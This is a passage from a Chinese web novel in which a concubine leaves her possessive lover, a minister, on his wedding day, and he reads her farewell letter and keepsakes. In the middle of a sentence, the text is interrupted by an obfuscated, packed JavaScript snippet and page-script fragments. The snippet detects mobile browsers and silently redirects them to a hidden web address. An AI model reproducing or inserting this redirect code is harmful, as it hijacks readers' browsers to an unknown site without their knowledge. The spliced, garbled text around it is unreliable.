像是告诉他,也在告诫自己。
他们就应该这样,好聚好散,各不相干。
他刚娶了妻子,这些日子应当不会想起她。但唐如漪了解季云升,他得知她不告而别必然会暴怒,然后不计手段地来抓回她。
倒不是因为在季云升心里她有多重要,只是唐如漪比谁都清楚那个人的傲慢骄矜。
他不会容许自己的所有物逃离。
但唐如漪相信,时间会冲淡一切,而且她到底也陪在季云升身边那么多年,不相信他会赶尽杀绝。
做完这一切后,唐如漪轻叹了口气,背上那个小小的包袱,荆钗布衣一身轻松,将玉梨木的房门自身后关上。
她小小声道:“再见。”
算是跟这个她住了六年的小院子告别。
——
唐如漪不知道的是,她前脚刚走,后脚季云升便进来了。
若是她再晚一步,或是季云升再快一些,两人便会撞个照面。
但这个世界上没有如果。
季云升来到藏娇阁的时候,骑着那匹没有一丝杂色,鬃毛雪白的马。
他从马上翻身下来,赤色的喜袍如盛放牡丹般旋开,滚着金边的墨色锦鞋踏在地上,将骏马牵着拴在了一旁的梨树树干上,摸了摸它的鬃毛以示嘉奖。
他姿态散漫随性,俊美昳丽的面庞上还挂着抹若有若无的笑,迈开大步熟练地走向里间。
在门口时却顿了顿。
门是合上的。
她惯常趴在里面的桌子上盼星星盼月亮地等着他,为了能一眼看到他的到来,屋内的门向来是打开着的。
季云升微敛起眉。
难道不在?
不知为何有些心神不宁,季云升压下这种古怪的感受,自外面推开了门。
“小雀儿?”
里面没人,屋内陈设干干净净,不像有人来过的样子。
但季云升总觉得不太对劲。
这时从里面突然传来什么东西落地的声音。
季云升那种紧绷着的古怪情绪骤然散去,唇角勾起漫不经心的潋滟笑意,迈开步子伸手去撩珠玉做的帘。
“我不过是娶亲而已,你至于这么伤心吗?竟嫉妒至此,连我的话都不听了,当真是善妒。”
他语气轻慢,带着习惯性的轻嘲:“你这样还怎么好好服侍我,服侍我的妻子,你的女主人?本想给你准备个惊喜,但你若再如此不听话,我便不要你……”
季云升的声音戛然而止。
珠帘后的闺房里空无一人,金丝幔帐的床旁边却摆着一个小箱子。
那箱子灰扑扑的,盖子都没有合严实,从里面掉出个奇怪的看起来像是破烂一样的坏掉的面具,方才的声音就是它发出的。
季云升觉得这东西有些眼熟,正待将其捡起来细看,却被一旁桌上的字迹吸引了所有的注意。
他敛着眉,拿起了梨木桌上的信纸。
相当熟悉的字迹,是不知何时他为了哄她所写的。季云升早就忘了自己当时写的什么,左右不过是些安抚人又敲打人的把戏,没什么意义。
连这等东西都要小心翼翼地收好吗?季云升眸中泛起嘲弄,唇角却不由自主地勾起。
他正欲将信纸折好收起,到时好好捉弄质问她一番,却突然看到从背面透过点点墨迹。
季云升漫不经心地将信纸翻转了过来。
而后在看到上面的字迹时,瞳孔骤缩。
他一字一顿地读出声:
“季云升,我不要再喜欢你了。”
屋内的空气安静,时间像过去了很久,又像是只过去了一瞬。
良久,寂静的屋内终于有了动静。
是信纸在手心被攥住,揉得破烂不堪的声音。
季云升面无表情,瞳色黑沉得吓人,高挺的鼻梁下,天生便微翘的薄唇此时拉平成一条直线,白皙的肤色,黑瞳红唇在脸上形成极致的对比,大红的喜袍穿在身上显得无端悚然。
他忽而扬起一抹烂漫粲然的笑容。
“不喜欢?这可由不得你。”
信纸在手心揉烂成一团,又被温柔小心地铺展开来,再按照原来的样子叠起。
不喜欢?
他可一点儿都不信。
所有人都知道,她爱他爱得要死,恨不得每时每刻都黏在他身边。而且这么多年她被他娇养着,早就失去了独自生存的能力,他不信她离了他能适应外面的生活。
季云升笑意轻慢又笃定。
不出三日,她必然会回来找他。
接下来,便轮到他来跟她算账了。
将信纸折好收在衣袖中,他再次恢复了冷静自持,终于有闲心去查看一开始吸引他的那个小箱子。
裂开的鬼脸面具掉在地上,他将之轻轻拾起,只觉眼熟却一时半会儿想不起来。
小箱子跟这间到处镶金嵌玉,每处物件都价值连城的屋子格格不入,显得违和极了,却被人宝贝一样收起来在床下藏好,显然是相当珍惜。
怀着些好奇,季云升将未合严的箱子完全打开来。
一个布满了裂纹的廉价兔子花灯,被放在箱子的边缘处,正是它将盖子卡住,让里面的东西掉了出来,似乎箱子的主人也在犹豫该不该把这东西放进去,最后还是决定搁在了里面。
是他上次为了哄人专门给她买的,却不小心被他捏出裂痕的花灯。
再里面是个小小的白色瓷瓶,季云升记得这东西,叫蔷薇花露,唐如漪一直特别喜欢,但因为原料的稀缺和制作工艺的复杂,市面上很少有售,就算有也价格昂贵。
但这不代表季云升弄不来。他让人专门收了一库房的这东西,却并不想送太多给她,而只是给了小小一瓶,还嘱咐她不许多用。
季云升想得很简单,若是一次提高了阈值,往后她就不好哄了。
况且他是真的不喜欢她涂脂抹粉。
季云升其实知道,唐如漪一直都很好看透,无论他送什么都会欢喜雀跃,好哄得要命。
但精通人性,心眼比莲蓬还多的右丞还是选择用他熟悉的御人之术来掌控她。
让她满足,但不能太满足,让她高兴,但不能太高兴。
季云升以为她早就把这东西用光了,没想到她却收起来放到了这里。
再往下面,是各种乱七八糟的小玩意儿,刚翻开一个缝得歪七扭八的沙包,便有一只可笑的狗尾巴草映入眼帘,而后是吃剩下一半的糖葫芦,一只精巧可爱的小布老虎。
一件一件,让季云升恍如隔世。
他拿起那只小布老虎放在手心,眼前隐约又看见,那个天不怕地不怕的小少女,在荷花荡漾的傍水小村庄中,笑嘻嘻地举着这个小东西跟他说话的样子。
“喏,这个送给你,我们一人一只。”
她给这两个小玩意儿起名叫“不离”,永不分离。
季云升的那一只早就不见了,他没想到她的那一只却被珍藏着收在了这里
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17218192|197451||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
他一件一件地看过去,那些几乎快要忘掉的记忆再一次浮现上脑海。
不离,不离……
季云升将那只小老虎握在掌心,笑容骄矜又傲慢。
不喜欢他?怎么可能。
若不喜欢,怎么会把这些破烂视若珍宝,与他有关的事桩桩件件记得那么清楚。
没关系,她只是太过嫉妒,误会了而已。
待她回来他跟她解释清楚,那只小雀儿必然会满脸欣喜地再次扑入他怀里。
季云升无比确信。
——
他坐在这方小院中等着,漫不经心敲着折扇,从白日等到了夜色。
那张昳丽的面庞表情逐渐扭曲。
连生站在一边大气都不敢出,但眼看天色渐晚,他还是战战兢兢道:“主子,可要回府去?”
依他看今日唐姑娘应当是回不来了。
季云升像是终于从长久的空寂中回到了现实。
他挽唇而笑,起身径自走出了院门。
“回府。”
等她回来,他要好好教训她一番,好叫她知道恃宠而骄的代价。
——
相府挂满了大红的灯笼,赤色的绸缎将屋内屋外都装点得喜庆无比,红烛在殿内悠悠燃烧着,贺礼堆了好几个屋子,一看便知这家有喜事。
然而婚礼的主人公却没有出现。
相府众人皆噤若寒蝉,不敢生出半分的质疑,就像看不见那些喜气洋洋的装饰一样,照常工作着。
王婉正盖着喜帕,羞涩地坐在房中的床上。
外面传来沉稳有力地步伐声,她的心也跟着跳得更快了。
门被推开,脚步声渐近。
一双绣着金纹的黑色锦靴停在她的视线中。
而后传来男人低沉悦耳的声音。
“你坐在这里干什么?”
王婉的心怦怦直跳,语气羞怯道:“夫君,我在等你回来。”
沉默在空气中蔓延,她的心几乎要提到嗓子眼,就在王婉打算说些什么缓解一下气氛的时候,季云升终于开口了。
“你是谁?谁又是你的夫君?”
王婉如遭雷击,红帕下羞涩的笑容都有些僵硬。“夫,夫君在说笑吗?”
“我们的婚事有圣上亲赐的诏书,虽然夫君有事忙碌来不及拜堂,但妾身确已是夫君的人了,也体谅夫君公务的繁忙辛苦。”
一句话说得柔情小意,已然是大方贤惠的主母形象。
没有拜堂成亲又怎么样,赐婚的诏书一下,便是远在天边,这门亲事也算是成了。
想到这一层,她像是吃了定心丸一样,方才的紧张忧虑全部散去。
然而下一秒,红盖头却被人一把掀开。
“夫……”
王婉蓦地对上季云升那双黑沉沉的瞳,本要叫出的“夫君”似是卡在喉咙里,什么都说不出来。
“王家主难道没告诉你,我从未打算娶你。”
季云升语气平淡,甚至带着些不耐。
王婉扯出一个僵硬的微笑:“夫君在同妾身说笑吗,妾身……”
她正欲开口,却忽然感觉被人死死盯住。
面前的男人黧黑的瞳幽深,眼神黑洞洞的,像一滩粘稠泥泞的沼泽。被他这么看着时,让人莫名起了些毛骨悚然之感。
王婉只觉得后背发凉。
只听见男人轻轻的声音。
“你脸上的妆,是谁给你化的?”